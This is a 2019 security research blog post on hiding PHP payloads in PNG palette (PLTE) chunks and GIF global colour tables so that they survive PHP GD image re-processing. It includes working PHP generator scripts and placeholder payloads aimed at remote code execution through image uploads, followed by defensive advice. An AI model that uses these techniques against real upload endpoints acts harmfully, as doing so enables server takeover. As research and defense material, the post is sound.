Injection points in popular image formats

Nov 8, 2019

Author: Daniel Kalinowski‌‌

Required tools

  • PHP with gd module enabled (sudo apt install php-gd)
  • PoC from our article was tested on PHP 7.3.10-1 (cli) (built: Oct  8 2019 05:24:47) (NTS)
  • ImageMagick
  • this zip archive
  • some free time

Intro

Every graphic file consists of pixels. If you open an image file in a hex editor you will immediately notice that those pixels are nothing more than just bytes. Moreover, you can create image with particular byte order that will form malicious payload as bytes’ representation. For example: 3C 3F 20 70  68 70 69 6E   66 6F 28 29  3B 20 3F 3E is the equivalent for <? phpinfo(); ?>. ‌‌

3C 3F 20 70  68 70 69 6E 66 6F 28 29  3B 20 3F 3E
<  ?     p   h  p  i  n  f  o  (  )   ;     ?   >

If you could upload a previously prepared image on the server as 1:1 copy with a .php extension it would mean that you can easily gain RCE on the server. Most of the web applications, however, show that it is rather unlikely to happen. They usually perform some image manipulation as cropping, compression etc., thus "destroying" the malicious input.

In this article let's consider a scenario in which we'll be performing a security assessment of a PHP application that uses imageCreateFromPng or imagepng for image processing.

Our code, that we will be using to simulate server behaviour, looks like this:‌‌

<?php
//load image
$im =imageCreateFromPng('example.png');
//IMPORTANT: default compression level is 6
imagepng($im,"new.png");
?>
server.php

It loads an example.png file via imageCreateFromPng function, processes it with imagepng function and saves the results to a new.png file.‌‌

PNG

Every PNG file consists of chunks which are defined as below:

Critical chunks are those chunks that are absolutely required in order to successfully decode a PNG image from a PNG datastream. [...]

A valid PNG datastream shall begin with a PNG signature, immediately followed by an IHDR chunk, then one or more IDAT chunks, and shall end with an IEND chunk. Only one IHDR chunk and one IEND chunk are allowed in a PNG datastream.
https://www.w3.org/TR/PNG/#11CcGen

A sample research about particular iDAT chunk is extensively described in "Encoding Web Shells in PNG IDAT chunks" article. In this blog post, we'll consider if there are more chunks which may happen to be useful to smuggle PHP payload.

Besides critical chunks there are also extensions chunks that have various types and uses.

The first what comes into mind is an extension chunk called tEXt. This chunk seems to be a perfect candidate for our test. Its purpose is to store text in the PNG file. Let's give it a try then!

Generate the sample file and validate it via ImageMagick :

kalin@isec:~/image-ip/png$ convert -comment "<?php evil();?>" -size 10x10 xc:white example.png
kalin@isec:~/image-ip/png$ identify -verbose example.png | grep comment
comment: <?php evil();?>
PNG file with tEXt chunk

Run our server script (code is available in the first paragraph) and check what happens with the payload.

PNG file after imagepng processing, without payload

Unfortunately, our PHP payload did not survive imagepng function processing. The reason of this is that all textual chunks are optional.  As you have seen above, not every chunk is a perfect candidate to smuggle our payload. In the rest of this article, we'll talk about the chunks which won't be modified by imageCreateFromPng and imagepng functions. Let's focus on PLTE chunk then.

PLTE chunk is responsible for storing the information about colour palette used in the image. Let's see what we can do with the structure of this chunk.

We have to generate a new image, this time with the help of PHP. We will use the code snippet available below:

<?php 
$width=1;
$height=1;
$im = imagecreate($width, $height);
$background_color = imagecolorallocate($im, 0xDE, 0XAD, 0XFE);
imagepng($im,"example.png");
?>‌‌‌‌
createPNG.php

Example structure of PLTE chunk may looks like this:

  • <Length> - 00 00 00 03
  • <Type> - 50 4C 54 45 (PLTE)
  • <Data> - DE AD FE
  • <CRC> - 61 C1 38 5F
example.png

As you can see the <Data> part of the chunk is equal to our input from imagecolorallocate function.It means that we can convert our payload to hex, write it to PLTE chunk as corresponding colours and then create palette-based image file.

The PLTE chunk contains from 1 to 256 palette entries, each a three-byte series of the form:
Red 	1 byte
Green 	1 byte
Blue 	1 byte

The number of entries is determined from the chunk length. A chunk length not divisible by 3 is an error.
https://www.w3.org/TR/PNG/#11PLTE

Take a notice that a chunk length must be divisible by 3. We need to add an additional character to our payload (e.g. a whitespace): "<?php phpinfo()?> ". 18 characters = 18 bytes = 6 colours = RGB(3C,3F,70),RGB(68,70,20) etc.

Let's generate an image file with our defined PLTE chunk.  ‌

<?php //createPNGwithPLTE.php
$_payload="<?php phpinfo()?> ";
$_pay_len=strlen($_payload);
if(strlen($_payload)%3!=0){
 echo "payload%3==0 !"; exit();
}


$width=$_pay_len/3;
$height=20;
//$im = imageCreateFromPng("existing.png");
$im = imagecreate($width, $height);

$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);

for($i=0; $i < count($_chunks); $i++){

  $_color_chunks=str_split($_chunks[$i], 2);
  $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));

  imagesetpixel($im,$i,1,$color);

}

imagepng($im,"example.png");

createPNGwithPLTE.php

Check example.png:

kalin@isec:~/image-ip/png$ php createPNGwithPLTE.php‌‌
kalin@isec:~/image-ip/png$ file example.png
example.png: PNG image data, 7 x 2, 4-bit colormap, non-interlaced
kalin@isec:~/image-ip/png$‌‌‌‌	
example.png

As you can see our payload is still there! Happily, we can do even more. We will add a new compression level for created images to simulate image transformation on the server side.

Take a look at server.php and change imagepng($im,"new.png"); to imagepng($im,"new.png",9);.

Now run the server.php and examine the results.

new.png - after compression change

As you can see our payload is still there again. With this method you can upload a malicious image that will survive imageCreateFromPng and imagepng function-calls.

GIF

As a bonus, in this paragraph we'll consider the similar scenario with imagecreatefromgif.

The Graphics Interchange Format is defined in terms of blocks and sub-blocks which contain relevant parameters and data used in the reproduction of a graphic.
Extension Blocks –  Extensions are defined using the Extension Introducer code
to mark the beginning of the block, followed by a block label, identifying the
type of extension. 

In GIF two extension blocks are used for text storage. Comment Extension block and Plain Text Extension. Sadly, all extension blocks are optional therefore they will not survive imagecreatefromgif function processing.  If you want to bypass this function you need to use Global Color Table method.

Basically, here we will do the same thing that we did in the PLTE PNG chunk. We are going to convert our payload into hex-string and then assign specific colours to the colour table.‌‌

Global Color Table block contains a colour table which is a sequence of bytes representing red-green-blue colour triplets. Here we also have to ensure that the payload is divisible by 3.

Let's create a file. ‌‌

<?php
// createGIFwithGlobalColorTable.php
$_file="example.gif";
$_payload="<?php evil();?>";
$_width=200;
$_height=200;
if(strlen($_payload)%3!=0){
 echo "payload%3==0 !"; exit();
}
$im = imagecreate($_width, $_height);
$_hex=unpack('H*',$_payload);

$colors_hex=str_split($_hex[1], 6);

for($i=0; $i < count($colors_hex); $i++){
  $_color_chunks=str_split($colors_hex[$i], 2);
  $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
  imagesetpixel($im,$i,1,$color);
}

imagegif($im,$_file);
?>
createGIFwithGlobalColorTable.php

Open the generated file inside hex editor.‌‌

kalin@isec:~/image-ip/gif$ php createGIFwithGlobalColorTable.php
kalin@isec:~/image-ip/gif$ ghex example.gif	

‌‌

example.gif
<?php
$im =imagecreatefromgif('example.gif');
imagegif($im,"new.gif");

?>
server.php

Run server.php file and lookup new.gif file inside the hex editor.

As you can see our payload has been saved to new file.

Defense‌‌

  • Make sure that the web server does not parse or execute any code in the directory which stores user-uploaded images/files. Turn PHP engine off (‘php_flag engine off’ entry in your configuration file) and disable any other additional interpreters/parsers (as CGI). Also, confirm that the web server does not try to parse or execute unrecognised file-types/file extensions.
  • If it’s possible – store user-uploaded images outside of the web-root directory or put them on different/additional (CDN) server. Keep in mind that if your web application is vulnerable to LFI (Local File Inclusion) then uploading images outside of the web-root won’t protect you.
  • Always properly validate file names (if it’s possible save user-uploaded files with randomly generated names). Whitelist acceptable file extensions.
  • Malicious payload may not only contain a payload which will be parsed by the server (and give the attacker a chance to execute his/her code on the server). Payload may also be parsed by the web-browser which could lead to a Cross-Site Scripting vulnerability in your web application. To prevent XSS attacks enforce proper Content-Type header while accessing user-uploaded resources. Don’t forget about X-Content-Type-Options: nosniff, to mitigate MIME-sniffing behavior in some (older) browsers.

Conclusion

Presented methods are not universal but they allow to bypass some validation checks during image file processing. I hope that this article will help you find more vulnerabilities in the future :)

Bibliography‌‌‌‌

https://www.w3.org/TR/PNG/

https://www.w3.org/Graphics/GIF/spec-gif89a.txt

http://www.matthewflickinger.com/lab/whatsinagif/bits_and_bytes.asp

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

‌‌

Daniel Kalinowski

I'm typing strange things on the keyboard.

Great! You've successfully subscribed.
Great! Next, complete checkout for full access.
Welcome back! You've successfully signed in.
Success! Your account is fully activated, you now have access to all content.